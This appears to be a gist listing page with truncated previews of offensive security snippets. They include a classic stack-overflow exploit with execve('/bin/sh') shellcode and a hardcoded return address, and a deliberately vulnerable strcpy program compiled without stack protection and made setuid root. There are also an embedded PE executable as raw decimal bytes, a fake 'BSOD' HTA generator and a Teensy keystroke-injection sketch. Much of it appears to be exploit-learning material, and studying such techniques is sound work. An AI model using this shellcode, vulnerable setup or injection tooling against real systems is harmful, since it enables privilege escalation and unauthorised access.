This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| iptables -t nat -A PREROUTING -i eth0 -p udp --dport $srcPortNumber -j REDIRECT --to-port $dstPortNumber |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| require 'nexmo' | |
| nexmo = Nexmo::Client.new(key: 'api_key', secret: 'secret_key') | |
| nexmo.send_message(from: 'Header', to: 'target_number', text: 'sms_text') |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| @echo off | |
| ( | |
| echo ^<html^>^<head^>^<title^>Microsoft Windows^</title^> | |
| echo. | |
| echo ^<hta:application id="oBVC" | |
| echo applicationname="BSOD" | |
| echo version="1.0" | |
| echo maximizebutton="no" | |
| echo minimizebutton="no" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #define _GNU_SOURCE | |
| #include <stdio.h> | |
| #include <unistd.h> | |
| #include <stdlib.h> | |
| #include <fcntl.h> | |
| #include <signal.h> | |
| #include <elf.h> | |
| #include <err.h> | |
| #include <syslog.h> | |
| #include <sched.h> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| //vuln.c | |
| #include <stdio.h> | |
| #include <string.h> | |
| int main(int argc, char* argv[]) { | |
| /* [1] */ char buf[256]; | |
| /* [2] */ strcpy(buf,argv[1]); | |
| /* [3] */ printf("Input:%s\n",buf); | |
| return 0; | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #echo 0 > /proc/sys/kernel/randomize_va_space | |
| $gcc -g -fno-stack-protector -z execstack -o vuln vuln.c | |
| $sudo chown root vuln | |
| $sudo chgrp root vuln | |
| $sudo chmod +s vuln |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env python | |
| import struct | |
| from subprocess import call | |
| #Stack address where shellcode is copied. | |
| ret_addr = 0xbffff4a0 | |
| #Spawn a shell | |
| #execve(/bin/sh) | |
| scode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #include <stdio.h> | |
| #include <stdlib.h> | |
| #include <string.h> | |
| int main(int argc, char *argv[]) { | |
| char *ptr; | |
| if(argc < 3) { | |
| printf("Usage: %s <environment var> <target program name>\n", argv[0]); | |
| exit(0); | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| 77 90 144 0 3 0 0 0 4 0 0 0 255 255 0 0 184 0 0 0 0 0 0 0 64 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 128 0 0 0 14 31 186 14 0 180 9 205 33 184 1 76 205 33 84 104 105 115 32 112 114 111 103 114 97 109 32 99 97 110 110 111 116 32 98 101 32 114 117 110 32 105 110 32 68 79 83 32 109 111 100 101 46 13 13 10 36 0 0 0 0 0 0 0 80 69 0 0 76 1 4 0 90 243 177 83 0 0 0 0 0 0 0 0 224 0 2 1 11 1 11 0 0 48 0 0 0 160 2 0 0 0 0 0 142 79 0 0 0 32 0 0 0 96 0 0 0 0 64 0 0 32 0 0 0 2 0 0 4 0 0 0 0 0 0 0 4 0 0 0 0 0 0 0 0 64 3 0 0 4 0 0 0 0 0 0 2 0 64 133 0 0 16 0 0 16 0 0 0 0 16 0 0 16 0 0 0 0 0 0 16 0 0 0 0 0 0 0 0 0 0 0 60 79 0 0 79 0 0 0 0 128 0 0 252 155 2 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 32 3 0 12 0 0 0 0 96 0 0 28 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 32 0 0 8 0 0 0 0 0 0 0 0 0 0 0 8 32 0 0 72 0 0 0 0 0 0 0 0 0 0 0 46 116 101 120 116 0 0 0 148 47 0 0 0 32 0 0 0 48 0 0 0 4 0 0 0 0 0 0 0 0 0 0 0 0 0 0 32 0 0 96 46 115 100 97 116 97 0 0 141 0 0 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #define TEENSY3 | |
| #ifdef TEENSY2 | |
| #include<usb_private.h> | |
| #endif | |
| void setup(){ | |
| delay(3000); | |
| wait_for_drivers(2000); |